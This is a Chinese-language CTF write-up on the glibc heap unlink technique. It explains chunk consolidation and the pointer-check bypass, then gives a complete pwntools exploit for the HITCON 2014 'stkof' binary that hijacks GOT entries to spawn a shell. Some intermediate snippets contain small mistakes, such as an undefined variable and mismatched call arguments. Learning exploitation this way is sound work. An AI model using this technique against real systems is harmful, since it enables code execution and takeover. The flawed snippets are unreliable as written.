当free一块在堆上的chunk时,会判断该chunk的物理位置上的前后是否存在未使用的chunk(free chunk)。
若存在则进行向前合并或向后合并,将free chunk从bins上的双向链表中进行unlink。
现有a、b、c、d四个allocated chunk在堆中位置如下 (图片需要补充地址顺序、top chunk位置)
以free(b)为例
向后合并,根据chunk b的P标志位判断物理位置上相邻的前一个chunk a(低地址)是否被使用,若为free chunk,则根据size of pre_chunk找到前一个chunk a,然后使用unlink将chunk a从链表中删除。
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}
向前合并,根据chunk b的size of cur_chunk
找到物理位置上相邻的后一个chunk c(高地址),若chunk c不为top chunk则根据chunk c的size获取chunk d的位置并根据chunk d的P标志位判断前一个chunk c是否被使用,若为free chunk,然后使用unlink将chunk a从链表中删除。
nextchunk = chunk_at_offset(p, size);
//..........
if (nextchunk != av->top) {
/* get and clear inuse bit */
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
/* consolidate forward */
if (!nextinuse) {
unlink(av, nextchunk, bck, fwd);
size += nextsize;
} else
clear_inuse_bit_at_offset(nextchunk, 0);
//...................
}
若chunk a存在堆溢出漏洞(data内容可控且无输入长度限制)覆盖到chunk b,在chunk a的data处创建fake free chunk,并更改chunk b的结构中的前16个字节(前两个属性,size of chunk a
和P位标志)
P位标志置零使上一个chunk a被认为free chunk,Free(b)时会触发向后合并。
size of chunk a
被改写,向后合并时会找到fake free chunk。
fake free chunk中的bk和fd内容覆盖可控,触发unlink过程。
unlink操作过程前后链接指针的变化,可以简化描述如下:
//p指向待合并free chunk,可能是前面的chunk也可能是后面的chunk
FD = p->fd;
BK = p->bk;
if(FD->bk == p && BK->fd == p){
FD->bk = BK;
BK->fd = FD;
}
FD->bk == p && BK->fd == p
为双链表冲突检测,需要绕过该检测才能进行任意地址写,可以通过元素为malloc地址的指针数组绕过。
在堆溢出后,进入unlink前,三者相等:globals[index] == malloc(x) == fake chunk == p
结构体属性为地址偏移,根据p->fd->bk == p
推导公式如下:
fake chunk->fd->bk == fake chunk
=> *(fake chunk->fd + 0x18) == fake chunk
=>
*(fake chunk->fd + 0x18) == globals[index]
=> (fake chunk->fd + 0x18) == globals
=>
(fake chunk->fd) == globals - 0x18
=> (fake chunk + 0x10) == globals - 0x18
同理,根据p->bk->fd == p
推导公式结果为 (fake chunk + 0x18) == globals - 0x10
https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/unlink/2014_hitcon_stkof
操作系统版本为Ubuntu 16.04.6 LTS
root@10-8-163-191:~# lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 16.04.6 LTS
Release: 16.04
Codename: xenial
libc版本为v2.23,其他版本需要在v2.26或以及更低版本
root@10-8-163-191:~# ldd --version
ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.
不能使用Ubuntu 18.04.3 LTS,libc版本过高(v2.27)
root@ubuntu:/home/rai4over/Desktop# lsb_release -a && ldd --version
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 18.04.3 LTS
Release: 18.04
Codename: bionic
ldd (Ubuntu GLIBC 2.27-3ubuntu1) 2.27
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.
查看文件基本信息
root@10-8-163-191:~/pwn/ctf-challenges/pwn/heap/unlink/2014_hitcon_stkof# file stkof && checksec stkof
stkof: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=4872b087443d1e52ce720d0a4007b1920f18e7b0, stripped
[*] '/root/pwn/ctf-challenges/pwn/heap/unlink/2014_hitcon_stkof/stkof'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Partial RELRO,可以修改got表
函数信息如下
main函数
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int choice; // eax
signed int v5; // [rsp+Ch] [rbp-74h]
char nptr; // [rsp+10h] [rbp-70h]
unsigned __int64 v7; // [rsp+78h] [rbp-8h]
v7 = __readfsqword(0x28u);
alarm(0x78u);
while ( fgets(&nptr, 10, stdin) )
{
choice = atoi(&nptr);
if ( choice == 2 )
{
v5 = fill();
goto LABEL_14;
}
if ( choice > 2 )
{
if ( choice == 3 )
{
v5 = free_chunk();
goto LABEL_14;
}
if ( choice == 4 )
{
v5 = print();
goto LABEL_14;
}
}
else if ( choice == 1 )
{
v5 = alloc();
goto LABEL_14;
}
v5 = -1;
LABEL_14:
if ( v5 )
puts("FAIL");
else
puts("OK");
fflush(stdout);
}
return 0LL;
}
用于控制流程,将stdin转换为整型,根据输入调用不同的函数。
输入1,进入alloc函数()
signed __int64 alloc()
{
__int64 size; // [rsp+0h] [rbp-80h]
char *v2; // [rsp+8h] [rbp-78h]
char s; // [rsp+10h] [rbp-70h]
unsigned __int64 v4; // [rsp+78h] [rbp-8h]
v4 = __readfsqword(0x28u);
fgets(&s, 16, stdin);
size = atoll(&s);
v2 = (char *)malloc(size);
if ( !v2 )
return 0xFFFFFFFFLL;
globals[++cnt] = v2;
printf("%d\n", (unsigned int)cnt, size);
return 0LL;
}
存在两个未初始化的变量,存在于bss节中。
cnt,int cnt,默认值为零,作为指针数组索引。
globals,char *globals[],指针数组。
将stdin转换为整型作为size,然后malloc堆空间,返回的地址根据索引存入globals,且有++cnt,因此索引从1开始。
输入2,进入fill函数
signed __int64 fill()
{
signed __int64 result; // rax
int i; // eax
unsigned int idx; // [rsp+8h] [rbp-88h]
__int64 size; // [rsp+10h] [rbp-80h]
char *ptr; // [rsp+18h] [rbp-78h]
char s; // [rsp+20h] [rbp-70h]
unsigned __int64 v6; // [rsp+88h] [rbp-8h]
v6 = __readfsqword(0x28u);
fgets(&s, 16, stdin);
idx = atol(&s);
if ( idx > 0x100000 )
return 0xFFFFFFFFLL;
if ( !globals[idx] )
return 0xFFFFFFFFLL;
fgets(&s, 16, stdin);
size = atoll(&s);
ptr = globals[idx];
for ( i = fread(ptr, 1uLL, size, stdin); i > 0; i = fread(ptr, 1uLL, size, stdin) )
{
ptr += i;
size -= i;
}
if ( size )
result = 0xFFFFFFFFLL;
else
result = 0LL;
return result;
}
根据索引在globals数组获取地址,并通过修改堆的内容,size可控并且没有限制长度,存在堆溢出漏洞。
输入3,free_chunk函数
signed __int64 free_chunk()
{
unsigned int idx; // [rsp+Ch] [rbp-74h]
char s; // [rsp+10h] [rbp-70h]
unsigned __int64 v3; // [rsp+78h] [rbp-8h]
v3 = __readfsqword(0x28u);
fgets(&s, 16, stdin);
idx = atol(&s);
if ( idx > 0x100000 )
return 0xFFFFFFFFLL;
if ( !globals[idx] )
return 0xFFFFFFFFLL;
free(globals[idx]);
globals[idx] = 0LL;
return 0LL;
}
根据索引在globals数组获取地址,再free空间。
def alloc(size):
p.sendline("1")
p.sendline(str(size))
p.recvuntil("OK\n")
log.success("Malloc chunk:"+hex(size))
def free(index):
index = str(index)
p.sendline("3")
p.sendline(str(idx))
log.success("Free chunk:"+ index)
def edit(index,payload):
index = str(index)
size = str(len(payload))
p.sendline("2")
p.sendline(index)
p.sendline(size)
p.send(payload)
p.recvuntil("OK\n")
log.success("Edit chunk:" + index)
p = process("./stkof")
libc = ELF("./libc.so.6")
elf = ELF("./stkof")
题目没有通过setbuf()/setvbuf()函数关闭缓冲区,因此程序中的fgets等函数同样也会用到heap,此时没有手动申请空间也存在heap。
自动申请的chunk会破坏堆中chunk的排列顺序,故需要申请3次才能的到两个连续的chunk可用于覆盖。
这里第三个申请的chunk需要为small chunk,大小需要大于全局变量global_max_fast(0x80、128),不然会进入fastbin chunk 流程,无法按预期unlink。
使用fill函数在globals[2]进行堆溢出,此时的堆结构和globals数组的状态如下
free(globals[3]),触发向后合并,第二个chunk作为参数传入unlink,unlink后globals数组发生变化
globals[2] == &globals[2]-0x18 => globals[2] == &globals[-1]
上述部分实现代码如下:
#gdb.attach(p,"break *0x400D29")
globals = 0x0602140
#申请空间
alloc(0x90)
alloc(0x50)
alloc(0x80)
#堆溢出
fd = globals+0x10-0x18
bk = globals+0x10-0x10
payload = p64(0)+p64(0x50)+p64(fd)+p64(bk)
payload = payload.ljust(0x50,'A')
payload += p64(0x50) + p64(0x90)
edit(2, payload)
#unlink
free(3)
此时修改globals[2]就是修改globals[-1],然后直接从globals[-1]开始覆盖,填充两个元素,剩余元素覆盖为各个函数got表地址,此时globals[1]指向free@got
然后再通过修改globals[1]覆写free@got为puts@got,然后再free(globals[2]) == puts@plt(puts@got)
数组覆盖、leak偏移地址、计算system地址
#覆盖数组元素
free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
atoi_got = elf.got['atoi']
payload = 'A'*16 + p64(free_got) + p64(puts_got) + p64(atoi_got)
edit(2,len(payload),payload)
#leak puts地址 -puts@plt(puts@got)
edit(1,len(p64(puts_plt)),p64(puts_plt))
free(2)
s.recvline()
puts_add = u64(s.recvline(keepends=False)[0:8].ljust(8,'\x00'))
log.success("Puts_real:"+hex(puts_add))
#计算偏移地址
offset = puts_add - libc.symbols['puts']
log.success("Offset:"+hex(offset))
#计算system地址
system_addr = libc.symbols['system'] + offset
log.success("System_addr:" + hex(system_addr))
改写atoi@got为system,直接发送/bin/sh\x00
,在选择功能时有atoi(&nptr);
,getshell。
edit(3,p64(system_addr))
p.sendline("/bin/sh\x00")
p.interactive()
合并代码
#coding=utf-8
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
def alloc(size):
p.sendline("1")
p.sendline(str(size))
p.recvuntil("OK\n")
log.success("Malloc chunk:"+hex(size))
def free(index):
index = str(index)
p.sendline("3")
p.sendline(str(index))
log.success("Free chunk:"+ index)
def edit(index,payload):
index = str(index)
size = str(len(payload))
p.sendline("2")
p.sendline(index)
p.sendline(size)
p.send(payload)
p.recvuntil("OK\n")
log.success("Edit chunk:" + index)
p = process("./stkof")
libc = ELF("./libc.so.6")
elf = ELF("./stkof")
globals = 0x0602140
gdb.attach(p,"break *0x400D29")
alloc(0x90)
alloc(0x50)
alloc(0x80)
fd = globals+16-0x18
bk = globals+16-0x10
payload = p64(0)+p64(0x50)+p64(fd)+p64(bk)
payload = payload.ljust(0x50,'A')
payload += p64(0x50) + p64(0x90)
edit(2, payload)
free(3)
free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
atoi_got = elf.got['atoi']
payload = 'A'*16 + p64(free_got) + p64(puts_got) + p64(atoi_got)
edit(2,payload)
edit(1,p64(puts_plt))
free(2)
p.recvline()
puts_add = u64(p.recvline(keepends=False)[0:8].ljust(8,'\x00'))
log.success("Puts_real:"+hex(puts_add))
offset = puts_add - libc.symbols['puts']
log.success("Offset:"+hex(offset))
system_addr = libc.symbols['system'] + offset
log.success("System_addr:" + hex(system_addr))
edit(3,p64(system_addr))
p.sendline("/bin/sh\x00")
p.interactive()
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/unlink-zh/